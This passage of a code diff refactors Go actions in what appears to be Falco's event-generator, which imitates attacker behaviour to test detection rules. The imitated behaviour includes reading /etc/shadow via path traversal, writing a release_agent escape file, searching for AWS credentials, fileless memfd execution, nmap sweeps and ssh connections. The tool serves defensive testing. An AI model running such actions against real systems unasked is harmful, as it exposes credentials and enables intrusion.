- // Create a hidden directory - const directoryname = "/.created-by-event-generator" - h.Log().Infof("Created a hidden directory %s", directoryname) - defer os.Remove(directoryname) // Remove after function return - return os.Mkdir(directoryname, 0755) +func CreateHiddenFilesOrDirectories(h events.Helper) error { + // create a unique hidden temp directory + tmpDir, err := os.MkdirTemp("", ".falco-event-generator-syscall-CreateHiddenFilesOrDirectories-") + if err != nil { + return err + } + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() + + return nil } diff --git a/events/syscall/create_symlink_over_sensitive_files.go b/events/syscall/create_symlink_over_sensitive_files.go index 666b778f..67f44b66 100644 --- a/events/syscall/create_symlink_over_sensitive_files.go +++ b/events/syscall/create_symlink_over_sensitive_files.go @@ -15,8 +15,11 @@ limitations under the License. package syscall import ( + "fmt" "os" "os/exec" + "path/filepath" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -24,20 +27,37 @@ import ( var _ = events.Register(CreateSymlinkOverSensitiveFiles) func CreateSymlinkOverSensitiveFiles(h events.Helper) error { - path, err := exec.LookPath("ln") + ln, err := exec.LookPath("ln") if err != nil { // if we don't have a ln, just bail return &events.ErrSkipped{ - Reason: "ln utility not found in path", + Reason: "ln executable file not found in $PATH", } } - tmpDir, err := os.MkdirTemp(os.TempDir(), "event-generator-syscall-CreateSymlinkOverSensitiveFiles") + // create a unique temp directory + tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-CreateSymlinkOverSensitiveFiles-") if err != nil { return err } - defer os.ReadDir(tmpDir) + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() + + etcLink := filepath.Join(tmpDir, "etc_link") + + // create a symbolic link to /etc directory + cmd := exec.Command(ln, "-s", "/etc", etcLink) + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } + + // read symbolic-linked /etc directory + if _, err := os.ReadDir(etcLink); err != nil { + return err + } - cmd := exec.Command(path, "-s", "/etc", tmpDir+"/etc_link") - return cmd.Run() + return nil } diff --git a/events/syscall/debugfs_launched_in_privilleged_container.go b/events/syscall/debugfs_launched_in_privilleged_container.go index 087b84ef..29c235fe 100644 --- a/events/syscall/debugfs_launched_in_privilleged_container.go +++ b/events/syscall/debugfs_launched_in_privilleged_container.go @@ -1,3 +1,6 @@ +//go:build linux +// +build linux + // SPDX-License-Identifier: Apache-2.0 /* Copyright (C) 2024 The Falco Authors. @@ -15,7 +18,9 @@ limitations under the License. package syscall import ( + "fmt" "os/exec" + "strings" "syscall" "github.com/falcosecurity/event-generator/events" @@ -24,20 +29,41 @@ import ( var _ = events.Register(DebugfsLaunchedInPrivilegedContainer) func DebugfsLaunchedInPrivilegedContainer(h events.Helper) error { - if h.InContainer() { - cmd := exec.Command("debugfs") - cmd.SysProcAttr = &syscall.SysProcAttr{ - Cloneflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER, + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } + } - h.Log().Info("Debugfs launched started in a privileged container") - err := cmd.Run() - if err != nil { - h.Log().WithError(err).Error("Failed to launch debugfs") - return err + // skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error + // read the CapEff value from /proc/self/status + if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil { + // convert the CapEff value to a string and trim whitespace + capEffValue := strings.TrimSpace(string(capEffValueBytes)) + // check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value + if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin { + return &events.ErrSkipped{ + Reason: "privileged container required", + } } } - return &events.ErrSkipped{ - Reason: "'Debugfs Launched in Privileged Container' is applicable only to containers.", + + debugfs, err := exec.LookPath("debugfs") + if err != nil { + // if we don't have a debugfs, just bail + return &events.ErrSkipped{ + Reason: "debugfs executable file not found in $PATH", + } } + + cmd := exec.Command(debugfs, "-V") + cmd.SysProcAttr = &syscall.SysProcAttr{ + Cloneflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER, + } + + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } + + return nil } diff --git a/events/syscall/decoding_payload_in_container.go b/events/syscall/decoding_payload_in_container.go index 23218439..21c5be54 100644 --- a/events/syscall/decoding_payload_in_container.go +++ b/events/syscall/decoding_payload_in_container.go @@ -1,41 +1,44 @@ -// SPDX-License-Identifier: Apache-2.0 -/* -Copyright (C) 2024 The Falco Authors. -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package syscall - -import ( - "os/exec" - - "github.com/falcosecurity/event-generator/events" -) - -var _ = events.Register( - DecodingPayloadInContainer, - events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action -) - -func DecodingPayloadInContainer(h events.Helper) error { - if h.InContainer() { - encodedPayload := "ZGVjb2RlZF9ieV9ldmVudC1nZW5lcmF0b3I=" - cmd := exec.Command("echo", encodedPayload, "|", "base64", "-d") - - err := cmd.Run() - if err != nil { - return err - } - } - return &events.ErrSkipped{ - Reason: "'Decoding Payload In Container' is applicable only to containers.", - } -} +// SPDX-License-Identifier: Apache-2.0 +/* +Copyright (C) 2024 The Falco Authors. +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + http://www.apache.org/licenses/LICENSE-2.0 +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package syscall + +import ( + "fmt" + "os/exec" + "strings" + + "github.com/falcosecurity/event-generator/events" +) + +var _ = events.Register( + DecodingPayloadInContainer, + events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action +) + +func DecodingPayloadInContainer(h events.Helper) error { + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", + } + } + + encodedPayload := "ZGVjb2RlZF9ieV9ldmVudC1nZW5lcmF0b3I=" + cmd := exec.Command("echo", encodedPayload, "|", "base64", "-d") + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } + + return nil +} diff --git a/events/syscall/delete_or_rename_shell_history.go b/events/syscall/delete_or_rename_shell_history.go index 6a5dce71..2491b538 100644 --- a/events/syscall/delete_or_rename_shell_history.go +++ b/events/syscall/delete_or_rename_shell_history.go @@ -15,33 +15,40 @@ limitations under the License. package syscall import ( - "os" - "path/filepath" + "os" + "path/filepath" - "github.com/falcosecurity/event-generator/events" + "github.com/falcosecurity/event-generator/events" ) var _ = events.Register( - DeleteOrRenameShellHistory, - events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action + DeleteOrRenameShellHistory, + events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action ) func DeleteOrRenameShellHistory(h events.Helper) error { - // Define the path to the file - tmpDir := "/tmp" - tmpFile := filepath.Join(tmpDir, "ash_history") - - // Create the file - file, err := os.Create(tmpFile) - if err != nil { - return err - } - file.Close() - - // Remove the file - if err := os.Remove(tmpFile); err != nil { - return err - } - - return nil + // create a unique temp directory + tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-DeleteOrRenameShellHistory-") + if err != nil { + return err + } + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() + + history := filepath.Join(tmpDir, "ash_history") + + // create the file + if err := os.WriteFile(history, nil, os.FileMode(0600)); err != nil { + return err + } + defer func() { + if err := os.Remove(history); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + return nil } diff --git a/events/syscall/detect_crypto_miners_using_the_stratum_protocol.go b/events/syscall/detect_crypto_miners_using_the_stratum_protocol.go index 5240bfc1..689dfd09 100644 --- a/events/syscall/detect_crypto_miners_using_the_stratum_protocol.go +++ b/events/syscall/detect_crypto_miners_using_the_stratum_protocol.go @@ -15,7 +15,9 @@ limitations under the License. package syscall import ( + "fmt" "os/exec" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -29,8 +31,11 @@ func DetectCryptoMinersUsingTheStratumProtocol(h events.Helper) error { // NOTE: Crypto mining commands typically may resemble the following format, // where 'minersoftware' is an executable: // minersoftware -o stratum+tcp://example.com:3333 -u username -p password - // However, for testing purposes, we're using 'ls' as a placeholder. - cmd := exec.Command("ls", "-o stratum+tcp", "-u user", "-p pass") - cmd.Run() + // However, for testing purposes, we're using 'echo' as a placeholder. + cmd := exec.Command("echo", "-o stratum+tcp", "-u user", "-p pass") + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } + return nil } diff --git a/events/syscall/detect_release_agent_file.go b/events/syscall/detect_release_agent_file.go index 21fb9c27..213c058b 100644 --- a/events/syscall/detect_release_agent_file.go +++ b/events/syscall/detect_release_agent_file.go @@ -26,50 +26,49 @@ import ( var _ = events.Register(DetectReleaseAgentFileContainerEscapes) func DetectReleaseAgentFileContainerEscapes(h events.Helper) error { - if h.InContainer() { - // Read the CapEff value from /proc/self/status - capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output() - if err != nil { - return err + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } + } - // Convert the CapEff value to a string and trim whitespace - capEffValue := strings.TrimSpace(string(capEffValueBytes)) + // read the CapEff value from /proc/self/status + capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output() + if err != nil { + return err + } - // user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE reuired condition - if os.Getuid() != 0 { - hasCAPDacOverride, err := checkCapability(capEffValue, "cap_dac_override") - if err != nil { - return err - } - if !hasCAPDacOverride { - return &events.ErrSkipped{ - Reason: "Conatiner with root user or CAP_DAC_OVERRIDE capability is required to execute this event", - } - } - } + // convert the CapEff value to a string and trim whitespace + capEffValue := strings.TrimSpace(string(capEffValueBytes)) - // Check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value - hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin") + // user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE reuired condition + if os.Getuid() != 0 { + hasCAPDacOverride, err := checkCapability(capEffValue, "cap_dac_override") if err != nil { return err } - if hasCAPSysAdmin { - // open_write and fd.name endswith release_agent - cmd := exec.Command("echo", "hello world", ">", "release_agent") - if err := cmd.Run(); err != nil { - return err + + if !hasCAPDacOverride { + return &events.ErrSkipped{ + Reason: "conatiner with root user or CAP_DAC_OVERRIDE capability is required to execute this event", } - h.Log().Infof("Container escape using release_agent file") - return nil } + } + + // check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value + hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin") + if err != nil { + return err + } + + if !hasCAPSysAdmin { return &events.ErrSkipped{ - Reason: "Conatiner with cap_sys_admin capability is required to execute this event", + Reason: "privileged container required", } } - return &events.ErrSkipped{ - Reason: "'Detect release_agent File Container Escapes' rule is only for containers", - } + + // open_write and fd.name endswith release_agent + return exec.Command("sh", "-c", "echo 'hello world' > release_agent").Run() } // This function checks wether given capability exists or not by decoding the given hex @@ -82,6 +81,7 @@ func checkCapability(hexValue string, capability string) (bool, error) { Reason: "capsh utility is required to execute this event", } } + cmd := exec.Command(capsh, "--decode="+hexValue) // Capture the output of the command diff --git a/events/syscall/directory_traversal_monitored_file_read.go b/events/syscall/directory_traversal_monitored_file_read.go index 7b00c3ca..ba3d5f4f 100644 --- a/events/syscall/directory_traversal_monitored_file_read.go +++ b/events/syscall/directory_traversal_monitored_file_read.go @@ -25,6 +25,11 @@ var _ = events.Register(DirectoryTraversalMonitoredFileRead) func DirectoryTraversalMonitoredFileRead(h events.Helper) error { const filename = "/etc/../etc/../etc/shadow" file, err := os.Open(filename) - defer file.Close() + defer func() { + if err := file.Close(); err != nil { + h.Log().WithError(err).Error("failed to close /etc/shadow file") + } + }() + return err } diff --git a/events/syscall/disallowed_ssh_connection.go b/events/syscall/disallowed_ssh_connection.go deleted file mode 100644 index 8fbd92dc..00000000 --- a/events/syscall/disallowed_ssh_connection.go +++ /dev/null @@ -1,41 +0,0 @@ -// SPDX-License-Identifier: Apache-2.0 -/* -Copyright (C) 2024 The Falco Authors. -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package syscall - -import ( - "github.com/falcosecurity/event-generator/events" - "os/exec" -) - -var _ = events.Register( - DisallowedSSHConnection, - events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action -) - -func DisallowedSSHConnection(h events.Helper) error { - path, err := exec.LookPath("ssh") - if err != nil { - // If we don't have an SSH, just bail - return &events.ErrSkipped{ - Reason: "ssh utility not found in path", - } - } - cmd := exec.Command("timeout", "1s", path, "user@example.com", "-p", "22") - err = cmd.Run() - if err != nil { - return err - } - return nil -} diff --git a/events/syscall/disallowed_ssh_connection_non_standard_port.go b/events/syscall/disallowed_ssh_connection_non_standard_port.go index 2da1501a..d55ecb72 100644 --- a/events/syscall/disallowed_ssh_connection_non_standard_port.go +++ b/events/syscall/disallowed_ssh_connection_non_standard_port.go @@ -15,25 +15,26 @@ limitations under the License. package syscall import ( - "github.com/falcosecurity/event-generator/events" "os/exec" + + "github.com/falcosecurity/event-generator/events" ) var _ = events.Register(DisallowedSSHConnectionNonStandardPort) func DisallowedSSHConnectionNonStandardPort(h events.Helper) error { - path, err := exec.LookPath("ssh") + ssh, err := exec.LookPath("ssh") if err != nil { - // If we don't have an SSH, just bail + // if we don't have a SSH, just bail return &events.ErrSkipped{ - Reason: "ssh utility not found in path", + Reason: "ssh executable file not found in $PATH", } } - // non_standard_port : 443 - cmd := exec.Command("timeout", "1s", path, "user@example.com", "-p", "443") - err = cmd.Run() - if err != nil { - return err + + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command("timeout", "1s", ssh, "user@example.com", "-p", "443").Run(); err != nil { + h.Log().WithError(err).Debug("failed to run ssh command (this is expected)") } + return nil -} \ No newline at end of file +} diff --git a/events/syscall/drop_and_execute_new_binary_in_container.go b/events/syscall/drop_and_execute_new_binary_in_container.go index 93980d20..a74ac21f 100644 --- a/events/syscall/drop_and_execute_new_binary_in_container.go +++ b/events/syscall/drop_and_execute_new_binary_in_container.go @@ -15,8 +15,10 @@ limitations under the License. package syscall import ( + "fmt" "os" "os/exec" + "path/filepath" "github.com/falcosecurity/event-generator/events" ) @@ -24,36 +26,56 @@ import ( var _ = events.Register(DropAndExecuteNewBinaryInContainer) func DropAndExecuteNewBinaryInContainer(h events.Helper) error { - if h.InContainer() { - // Find the path of the ls binary - lsPath, err := exec.LookPath("ls") - if err != nil { - return &events.ErrSkipped{ - Reason: "ls utility not found in path", - } + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } + } - // Read the ls binary content - lsContent, err := os.ReadFile(lsPath) - if err != nil { - return err + // find the path of the ls binary + ls, err := exec.LookPath("ls") + if err != nil { + return &events.ErrSkipped{ + Reason: "ls executable file not found in $PATH", } + } - // New binary which is duplicate of ls binary - newBinaryPath := "/bin/ls-created-by-event-generator" + // read the ls binary content + lsContent, err := os.ReadFile(ls) + if err != nil { + return err + } - err = os.WriteFile(newBinaryPath, lsContent, 0755) - if err != nil { - h.Log().WithError(err).Error("failed to create new file in /bin") + // ensure /bin exists + if _, err := os.Stat("/bin"); os.IsNotExist(err) { + if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil { return err } - defer os.Remove(newBinaryPath) // CleanUp + // remove /bin directory + defer func() { + if err := os.RemoveAll("/bin"); err != nil { + h.Log().WithError(err).Error("failed to remove /bin directory") + } + }() + } + + // generate new "random" binary name + file := filepath.Join("/bin", fmt.Sprintf("falco-event-generator-syscall-DropAndExecuteNewBinaryInContainer-%s", randomString(6))) - executeCmd := exec.Command(newBinaryPath) - h.Log().Info("Executed a binary not part of base image") - executeCmd.Run() // Rule triggers even the command is not successful + // create file and set execute permission + if err = os.WriteFile(file, lsContent, os.FileMode(0755)); err != nil { + return err } - return &events.ErrSkipped{ - Reason: "'Drop And Execute New Binary In Container' is applicable only to containers.", + defer func() { + if err := os.Remove(file); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command(file).Run(); err != nil { + h.Log().WithError(err).Debug("failed to run ls command (might be ok)") } + + return nil } diff --git a/events/syscall/execution_from_dev_shm.go b/events/syscall/execution_from_dev_shm.go index 558dd1e8..6a374714 100644 --- a/events/syscall/execution_from_dev_shm.go +++ b/events/syscall/execution_from_dev_shm.go @@ -15,8 +15,11 @@ limitations under the License. package syscall import ( + "fmt" "os" "os/exec" + "path/filepath" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -24,31 +27,54 @@ import ( var _ = events.Register(ExecutionFromDevShm) func ExecutionFromDevShm(h events.Helper) error { - scriptPath := "/dev/shm/example_script-created-by-falco-event-generator.sh" - scriptContent := "#!/bin/bash\n echo 'hello world'" - - // Check if /dev exists + // ensure /dev exists if _, err := os.Stat("/dev"); os.IsNotExist(err) { - if err := os.Mkdir("/dev", 0755); err != nil { + if err := os.Mkdir("/dev", os.FileMode(0755)); err != nil { return err } - defer os.RemoveAll("/dev") // Remove dev directory + // remove /dev directory + defer func() { + if err := os.RemoveAll("/dev"); err != nil { + h.Log().WithError(err).Error("failed to remove /dev directory") + } + }() } - // Given /dev exists check if /shm exists + // ensure /dev/shm exists if _, err := os.Stat("/dev/shm"); os.IsNotExist(err) { - if err := os.Mkdir("/dev/shm", 0755); err != nil { + if err := os.Mkdir("/dev/shm", os.FileMode(0755)); err != nil { return err } - defer os.RemoveAll("/dev/shm") // Remove /shm directory only + // remove /dev/shm subdirectory only + defer func() { + if err := os.RemoveAll("/dev/shm"); err != nil { + h.Log().WithError(err).Error("failed to remove /dev/shm directory") + } + }() } - // Set execute permission on the file - if err := os.WriteFile(scriptPath, []byte(scriptContent), 0755); err != nil { + // generate new "random" file name under /dev/shm + file := filepath.Join("/dev/shm", fmt.Sprintf("falco-event-generator-syscall-ExecutionFromDevShm-%s.sh", randomString(6))) + + // create executable script file + if err := os.WriteFile(file, []byte("#!/bin/sh\n\necho 'hello world'\n"), os.FileMode(0755)); err != nil { return err } + defer func() { + if err := os.Remove(file); err != nil { + h.Log().WithError(err).Error("failed to remove temp file") + } + }() + + // execute script file + cmd := exec.Command("sh", "-c", file) + if out, err := cmd.CombinedOutput(); err != nil { + // to trigger the rule, it is enough to try, so we ignore permission denied errors + if cmd.ProcessState.ExitCode() == 126 { + return nil + } + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) + } - cmd := exec.Command("sh", "-c", scriptPath) // Execute script file - defer os.Remove(scriptPath) // Remove script file - return cmd.Run() + return nil } diff --git a/events/syscall/fileless_execution_via_memfd_create.go b/events/syscall/fileless_execution_via_memfd_create.go index 19cfacf5..77368934 100644 --- a/events/syscall/fileless_execution_via_memfd_create.go +++ b/events/syscall/fileless_execution_via_memfd_create.go @@ -1,3 +1,6 @@ +//go:build linux +// +build linux + // SPDX-License-Identifier: Apache-2.0 /* Copyright (C) 2024 The Falco Authors. @@ -18,6 +21,7 @@ import ( "fmt" "os" "os/exec" + "strings" "golang.org/x/sys/unix" @@ -48,15 +52,17 @@ func FilelessExecutionViaMemfdCreate(h events.Helper) error { h.Log().WithError(err).Error("failed to write binary data to memory") return err } - defer unix.Close(fd) + defer func() { + if err := unix.Close(fd); err != nil { + h.Log().WithError(err).Error("failed to close memory file descriptor") + } + }() // Execute the binary from memory - executeCmd := exec.Command("/proc/self/fd/"+fmt.Sprintf("%d", fd), "run", "helper.DoNothing") - if err := executeCmd.Run(); err != nil { - h.Log().WithError(err).Error("failed to execute binary from memory") - return err + cmd := exec.Command("/proc/self/fd/"+fmt.Sprintf("%d", fd), "run", "helper.DoNothing") + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) } - h.Log().Infof("Successful fileless execution via memfd_create") return nil } diff --git a/events/syscall/find_aws_credentials.go b/events/syscall/find_aws_credentials.go index a9792d7d..8fe89558 100644 --- a/events/syscall/find_aws_credentials.go +++ b/events/syscall/find_aws_credentials.go @@ -15,7 +15,10 @@ limitations under the License. package syscall import ( + "fmt" + "os" "os/exec" + "strings" "github.com/falcosecurity/event-generator/events" ) @@ -23,20 +26,18 @@ import ( var _ = events.Register(FindAwsCredentials) func FindAwsCredentials(h events.Helper) error { - path, err := exec.LookPath("find") + find, err := exec.LookPath("find") if err != nil { // if we don't have a find, just bail return &events.ErrSkipped{ - Reason: "find utility not found in path", + Reason: "find executable file not found in $PATH", } } - cmd := exec.Command(path, ".aws/credentials") - err = cmd.Run() - // silently ignore find exit status 1 - if exitErr, isExitErr := err.(*exec.ExitError); isExitErr { - h.Log().WithError(exitErr).Debug("silently ignore exit status") - return nil + cmd := exec.Command(find, os.TempDir(), "-maxdepth", "1", "-iname", ".aws/credentials") + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) } - return err + + return nil } diff --git a/events/syscall/kubernetes_client_tool_launched_in_container.go b/events/syscall/kubernetes_client_tool_launched_in_container.go index c8f32103..97d148f3 100644 --- a/events/syscall/kubernetes_client_tool_launched_in_container.go +++ b/events/syscall/kubernetes_client_tool_launched_in_container.go @@ -18,30 +18,53 @@ limitations under the License. package syscall import ( + "fmt" + "os" "os/exec" + "path/filepath" + "strings" "github.com/falcosecurity/event-generator/events" ) var _ = events.Register( - kubernetesClientToolLaunchedInContainer, + KubernetesClientToolLaunchedInContainer, events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action ) -func kubernetesClientToolLaunchedInContainer(h events.Helper) error { - if h.InContainer() { - kubectl, err := exec.LookPath("kubectl") +func KubernetesClientToolLaunchedInContainer(h events.Helper) error { + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", + } + } + + kubectl, err := exec.LookPath("kubectl") + // if not present, create dummy kubectl executable + if err != nil { + // create a unique temp directory + tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-KubernetesClientToolLaunchedInContainer-") if err != nil { - return &events.ErrSkipped{ - Reason: "kubectl is needed to launch this action", - } + return err } + defer func() { + if err := os.RemoveAll(tmpDir); err != nil { + h.Log().WithError(err).Error("failed to remove temp directory") + } + }() - cmd := exec.Command(kubectl) - h.Log().Infof("Kubernetes Client Tool Launched In Container") - return cmd.Run() + kubectl = filepath.Join(tmpDir, "kubectl") + + // create executable script file + if err := os.WriteFile(kubectl, []byte("#!/bin/sh\n\necho 'hello world'\n"), os.FileMode(0755)); err != nil { + return err + } } - return &events.ErrSkipped{ - Reason: "'Kubernetes Client Tool Launched In Container' is applicable only to containers.", + + cmd := exec.Command(kubectl) + if out, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out))) } + + return nil } diff --git a/events/syscall/launch_package_management_process_in_container.go b/events/syscall/launch_package_management_process_in_container.go index 7fb8ff64..0125d538 100644 --- a/events/syscall/launch_package_management_process_in_container.go +++ b/events/syscall/launch_package_management_process_in_container.go @@ -15,7 +15,6 @@ limitations under the License. package syscall import ( - "os" "os/exec" "github.com/falcosecurity/event-generator/events" @@ -27,26 +26,24 @@ var _ = events.Register( ) func LaunchPackageManagementProcessInContainer(h events.Helper) error { - // Make sure it runs in container and user.name != _apt - if h.InContainer() { - if os.Getenv("USER") == "_apt" { - // Create a new user - username := "user-created-by-event-generator" - err := exec.Command("adduser", username).Run() - if err != nil { - return err - } - err = exec.Command("su", username).Run() - if err != nil { - return err - } - defer exec.Command("userdel", "-r", username).Run() // Remove the created user at end + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } - // Now launch package management process - cmd := exec.Command("apt-get") - return cmd.Run() } - return &events.ErrSkipped{ - Reason: "'Launch Package Management Process In Container' is applicable only to containers.", + + // check if the container has apk or apt-get package manager + arg := "version" + bin, err := exec.LookPath("apk") + if err != nil { + arg = "--version" + if bin, err = exec.LookPath("apt-get"); err != nil { + return &events.ErrSkipped{ + Reason: "apk nor apt-get package manager executable file not found in $PATH", + } + } } + + // launch package management process + return exec.Command(bin, arg).Run() } diff --git a/events/syscall/launch_remote_file_copy_tools_in_container.go b/events/syscall/launch_remote_file_copy_tools_in_container.go index 19c31ce9..9a542f31 100644 --- a/events/syscall/launch_remote_file_copy_tools_in_container.go +++ b/events/syscall/launch_remote_file_copy_tools_in_container.go @@ -26,18 +26,16 @@ var _ = events.Register( ) func LaunchRemoteFileCopyToolsInContainer(h events.Helper) error { - if h.InContainer() { - // Launch a remote file copy tool (e.g., scp) within the container - cmd := exec.Command("scp") - - h.Log().Info("Remote file copy tool launched in container") - err := cmd.Run() - if err != nil { - h.Log().WithError(err).Error("Failed to launch remote file copy tool") - return err + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", } } - return &events.ErrSkipped{ - Reason: "'Launch Remote File Copy Tools In Container' is applicable only to containers.", + + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command("scp").Run(); err != nil { + h.Log().WithError(err).Debug("failed to run scp command (this is expected)") } + + return nil } diff --git a/events/syscall/launch_remote_file_copy_tools_inside_container.go b/events/syscall/launch_remote_file_copy_tools_inside_container.go index 678a4a50..5c17bf80 100644 --- a/events/syscall/launch_remote_file_copy_tools_inside_container.go +++ b/events/syscall/launch_remote_file_copy_tools_inside_container.go @@ -24,16 +24,21 @@ import ( ) var _ = events.Register( - LaunchIngressRemoteFileCopyToolsInsideContainer, + LaunchIngressRemoteFileCopyToolsInContainer, events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action ) -func LaunchIngressRemoteFileCopyToolsInsideContainer(h events.Helper) error { - if h.InContainer() { - cmd := exec.Command("wget") - return cmd.Run() +func LaunchIngressRemoteFileCopyToolsInContainer(h events.Helper) error { + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", + } } - return &events.ErrSkipped{ - Reason: "'Launch Ingress Remote File Copy Tools Inside Container' is applicable only to containers.", + + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command("wget", "-V").Run(); err != nil { + h.Log().WithError(err).Debug("failed to run wget command (might be ok)") } + + return nil } diff --git a/events/syscall/launch_suspicious_network_tool_in_container.go b/events/syscall/launch_suspicious_network_tool_in_container.go index b0fc6911..8250f559 100644 --- a/events/syscall/launch_suspicious_network_tool_in_container.go +++ b/events/syscall/launch_suspicious_network_tool_in_container.go @@ -26,16 +26,23 @@ var _ = events.Register( ) func LaunchSuspiciousNetworkToolInContainer(h events.Helper) error { - if h.InContainer() { - cmd := exec.Command("nmap", "-sn", "192.168.1.0/24") - - h.Log().Infof("Network tool launched in container") + if !h.InContainer() { + return &events.ErrSkipped{ + Reason: "only applicable to containers", + } + } - if err := cmd.Run(); err != nil { - return err + nmap, err := exec.LookPath("nmap") + if err != nil { + return &events.ErrSkipped{ + Reason: "nmap executable file not found in $PATH", } } - return &events.ErrSkipped{ - Reason: "'Launch Suspicious Network Tool In Container' is applicable only to containers.", + + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command("timeout", "1s", nmap, "-sn", "192.168.1.0/24").Run(); err != nil { + h.Log().WithError(err).Debug("failed to run nmap command (might be ok)") } + + return nil } diff --git a/events/syscall/launch_suspicious_network_tool_on_host.go b/events/syscall/launch_suspicious_network_tool_on_host.go index 586827e9..9b68353b 100644 --- a/events/syscall/launch_suspicious_network_tool_on_host.go +++ b/events/syscall/launch_suspicious_network_tool_on_host.go @@ -23,18 +23,22 @@ import ( var _ = events.Register(LaunchSuspiciousNetworkToolOnHost) func LaunchSuspiciousNetworkToolOnHost(h events.Helper) error { + if h.InContainer() { + return &events.ErrSkipped{ + Reason: "not applicable to containers", + } + } + nmap, err := exec.LookPath("nmap") if err != nil { return &events.ErrSkipped{ - Reason: "nmap utility is needed to launch this action ", + Reason: "nmap executable file not found in $PATH", } } - cmd := exec.Command(nmap, "-sn", "192.168.1.0/24") - h.Log().Infof("Network tool launched in host") - - if err := cmd.Run(); err != nil { - return err + // note: executing the following command might fail, but enough to trigger the rule, so we ignore any error + if err := exec.Command("timeout", "1s", nmap, "-sn", "172.17.0.1/32").Run(); err != nil { + h.Log().WithError(err).Debug("failed to run nmap command (might be ok)") } return nil diff --git a/events/syscall/mkdir_binary_dirs.go b/events/syscall/mkdir_binary_dirs.go index 9791e0d4..00ea625e 100644 --- a/events/syscall/mkdir_binary_dirs.go +++ b/events/syscall/mkdir_binary_dirs.go @@ -15,6 +15,7 @@ limitations under the License. package 